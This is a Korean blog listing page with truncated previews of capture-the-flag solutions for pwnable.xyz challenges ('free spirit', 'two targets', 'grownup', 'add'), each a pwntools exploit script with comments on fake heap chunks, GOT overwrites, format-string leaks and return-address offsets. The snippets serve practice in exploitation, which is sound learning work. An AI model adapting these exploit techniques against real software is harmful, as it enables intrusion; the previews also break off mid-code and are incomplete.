분류 전체보기 312

pwnable.xyz - free spirit

from pwn import * # context.log_level = 'debug' p = remote("svc.pwnable.xyz", 30005) # p = process("./challenge") # pwndbg 터미널 열리면 거기서 bp 세팅하고 c 입력 후 원래 터미널에서 아무키나 입력 (동적분석!!!!) # 그러면 파이썬 코드 실행되고 bp에서 멈출 것. free() 근처에서 분석하자 # gdb.attach(p) # pause() win = 0x400a3e # 위치 안변하고, write 가능한 바이너리의 .data영역 (0x601000~0x602000)에 fake_chunk 만들자 # 0x601010, 0x601020 에는 stdin,stdout 관련 데이터 들어있으므로 0x601030 부터..

pwnable.xyz - two targets

from pwn import * p = remote("svc.pwnable.xyz", 30031) printf_got = 0x603038 # overwrite 시점에 이미 사용된 함수 (printf,scanf,atoi,read) puts_got = 0x603020 # \x20 = space, scanf 함수는 공백/줄바꿈 만나면 입력 멈춤 strncmp_got = 0x603018 win = 0x40099c p.sendafter("> ", "2") # 문자 입력하는 것이므로 little endian 형식으로 주어야함 # 배열 앞에서부터 한바이트씩 채워짐 p.sendafter("nationality: ", b'A'*0x10+p64(strncmp_got)) p.sendafter("> ", "3") p.send..

pwnable.xyz - grownup

from pwn import * p = remote("svc.pwnable.xyz", 30004) p.recvuntil("older? [y/N]: ") p.send(b"yAAAAAAA"+p64(0x601080)) p.recvuntil("Name: ") ''' buf[1] 위치 언제 등장하는지 확인 pay = "A"*0x28 + "%p %p %p %p %p %p %p %p %p %p " pay += 'A'*(0x80-len(pay)) 출력결과: 첫번째 인자로 usr 주소, 9번째 인자로 buf[1]의 값 Welcome AAAAAAAA0x6010e0 0x7f30f4a648c0 (nil) 0x7f30f4c8b500 0x8 0x10f4a773d0 0xc8e260 0x4141414141414179 0x601080..

pwnable.xyz - add

from pwn import * p = remote("svc.pwnable.xyz", 30002) # v7 = rbp-0x60 # RET 위치는 rbp+0x8 # 0x68 차이남 (8Byte*13) win = 0x400822 # printf_got = 0x601028 # ASLR 때문에 스택 위치 랜덤, v7 배열 시작 위치도 계속 바뀔 것 # v7과 printf_got 간 차이를 leak 없이 구하긴 힘들다 offset = (0x7fffffffddc0-0x601048)//8 p.recvuntil("Input: ") pay = str(int(win))+" "+str(0)+" "+str(int(13)) p.sendline(pay) # while문 종료시키기 p.recvuntil("Input: ") p.se..